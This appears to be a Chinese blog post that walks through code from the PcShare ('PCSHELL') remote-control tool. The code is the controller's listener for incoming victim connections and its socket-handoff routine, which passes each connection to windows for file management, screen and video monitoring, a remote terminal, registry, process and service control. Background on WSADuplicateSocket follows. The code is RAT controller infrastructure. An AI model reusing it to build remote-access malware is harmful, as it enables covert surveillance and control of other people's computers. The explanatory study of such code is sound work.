上线线程
//侦听线程
UINT WINAPI MyMainThread(LPVOID lPvoid)
{
UINT m_Id = 0;
SOCKET m_LisSocket = (SOCKET) lPvoid;
SOCKET m_AccSocket = 0;
while(1)
{
//等待客户连接
if((m_AccSocket = accept(m_LisSocket,0,0)) == INVALID_SOCKET)
break;
//启动客户签到线程
_beginthreadex(NULL,0,MyChildThread,(LPVOID) m_AccSocket,0,&m_Id);
}
closesocket(m_LisSocket);
return 0;
}
void InterTrans(SOCKET s,LPCLIENTITEM pData , int ExecType)
{
//定位窗口唯一标识
sockaddr_in m_addr = {0};
int addrlen = sizeof(sockaddr_in);
getpeername(s,(sockaddr*) &m_addr,&addrlen);
char mTid[9] = {0};
memcpy(mTid, pData->m_SysInfo.ID, 8);
sprintf(pData->m_Title,"%d.%d.%d.%d:%s",
m_addr.sin_addr.S_un.S_un_b.s_b1,
m_addr.sin_addr.S_un.S_un_b.s_b2,
m_addr.sin_addr.S_un.S_un_b.s_b3,
m_addr.sin_addr.S_un.S_un_b.s_b4,
mTid);
//确定命令对应窗口
char m_WndName[256] = {0};
if(ExecType == CONN_FILE_UP || ExecType == CONN_FILE_DL)
{
//文件传输
sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_SEND)
{
sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MANA_RECV)
{
sprintf(m_WndName,"PCSHELL文件管理-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_FRAM_SEND)
{
sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_FRAM_RECV)
{
sprintf(m_WndName,"PCSHELL屏幕监控-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_TLNT_SEND)
{
sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_TLNT_RECV)
{
sprintf(m_WndName,"PCSHELL超级终端-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_REGD_SEND)
{
sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_REGD_RECV)
{
sprintf(m_WndName,"PCSHELL注册表管理-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_PROC_SEND)
{
sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_PROC_RECV)
{
sprintf(m_WndName,"PCSHELL进程管理-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_SERV_SEND)
{
sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_SERV_RECV)
{
sprintf(m_WndName,"PCSHELL服务管理-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
else if(ExecType == CONN_FILE_MULT_SEND)
{
sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
}
else if(ExecType == CONN_FILE_MULT_RECV)
{
sprintf(m_WndName,"PCSHELL视频监控-%s",pData->m_Title);
if(!SendKeepAlive(s)) return;
}
Sleep(500);
//查找窗口
HWND hWnd = FindWindow(NULL,m_WndName);
if(hWnd == NULL)
{
Sleep(2000);
hWnd = FindWindow(NULL,m_WndName);
if(hWnd == NULL)
{
closesocket(s);
return;
}
}
//拷贝套接字
DWORD pId = 0;
GetWindowThreadProcessId(hWnd, &pId);
WSAPROTOCOL_INFO m_SocketInfo = {0};
if(WSADuplicateSocket(s, pId , &m_SocketInfo))
{
closesocket(s);
return ;
}
//发送套接字到进程
COPYDATASTRUCT ct = {0};
ct.lpData = &m_SocketInfo;
ct.cbData = sizeof(WSAPROTOCOL_INFO);
ct.dwData = ExecType;
SendMessage(hWnd,WM_COPYDATA,0,(LPARAM) &ct);
closesocket(s);
}
//
WSADuplicateSocket
这个函数用来传递一个WSAPROTOCOL_INFO结构带另外一个进程,其他进程就用这个结构打开一个socket就可以操作同一个socket了。函数声明:
int WSADuplicateSocket(
SOCKET s,
DWORD dwProcessId,
LPWSAPROTOCOL_INFO lpProtocolInfo
);
通过WM_COPYDATA消息来实现不同进程中数据传递,传递SOCKET给子进程,子进程在控制端发出管理命令后立即运行
void CMainFrame::StartChildWork(LPCLIENTITEM pItem, char* pTitle, UINT nCmd,char* pExeName)
{
if(!pItem) return;
char m_Text[256] = {0};
sprintf(m_Text,"PCSHELL%s-%s", pTitle, pItem->m_Title);
HWND hWnd = ::FindWindow(NULL,m_Text);
if(hWnd)
{ //已存在该窗口
::BringWindowToTop(hWnd);
return;
}
char* pFind = strrchr(m_Text,':');
if(pFind != NULL) *pFind = 0;
//启动新的子进程
char m_AppName[512] = {0};
char m_FileName[256];
strcpy(m_FileName, pExeName);
GetMyFilePath(m_FileName);
sprintf(m_AppName,"%s %s:%s",m_FileName,m_Text,pItem->m_SysInfo.ID);
STARTUPINFO st = {0};
st.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION pi = {0};
if(!CreateProcess(NULL , m_AppName , NULL ,
NULL , TRUE , 0 , NULL , NULL , &st , &pi))
return;
ExecCmd(pItem->m_WorkSocket , nCmd , 0);
}
一段关于共享套接字的描述
为了在进程间共享套接口,Windows Sockets 2引入了WSADuplicateSocket()
函数。共享套接口是通过对底层的套接口创建附加的套接口描述字实现的。该函
数的输入是本地的套接口描述字和目标进程的句柄。它返回一个仅在目标进程中
有效的新的套接口描述字(目标进程有可能就是原始进程)。这一机制既可以在
单线程Windows版本(例如Windows 3.1)中使用,也可以在占先的多线程
Windows版本(例如Windows 95和Windows NT)中使用。要注意的是,套接
口可以在一个进程的不同线程中共享而不需要使用WSADuplicateSocket()函数,
因为一个套接口描述字在进程的所有线程中都有效。
基于一个共享套接口的两个或者单个套接口描述字应该独立地使用套接口
I/O。然而Windows Sockets没有实现任何共享控制。因此,在一个共享套接口上
协调它们的操作是应用程序的责任。一个典型的使用共享套接口的例子是,有一
个进程专门负责创建套接口和建立连接,并把套接口交给其他负责信息交换的进
程。由于重新创建的是套接口描述字而不是底层的套接口,所以一切与套接口相
关的状态对于所有套接口描述字都是相同的。例如对一个套接口描述字应用
setsockopt()操作后,对所有的套接口描述字应用getsockopt()操作都可以看到这
一变化。一个进程有可能调用closesocket()函数关闭一个复制的套接口描述字,
于是该描述字就被清除了,然而,底层的套接口并不会被关闭,底层的套接口将
一直保持打开,直到最后的一个套接口描述字被关闭。
选择对共享套接口的通知可以使用WSAAsyncSelect()函数和
WSAEventSelect()函数。对任何共享的套接口描述字发出这些调用将会取消在这
一套接口上的所有注册事件,无论先前的注册使用了那个套接口描述字。因此,
如果应用程序想使进程A接收FD_READ事件,进程B接收FD_WRITE事件,
这是做不到的。如果应用程序确实需要使用这种紧密的协调方式,我们建议应用
程序开发者使用线程而不要使用进程。
PcShare也山寨
![](https://i-blog.csdnimg.cn/blog_migrate/52e57d89b336ad52b4809b206752e071.jpeg)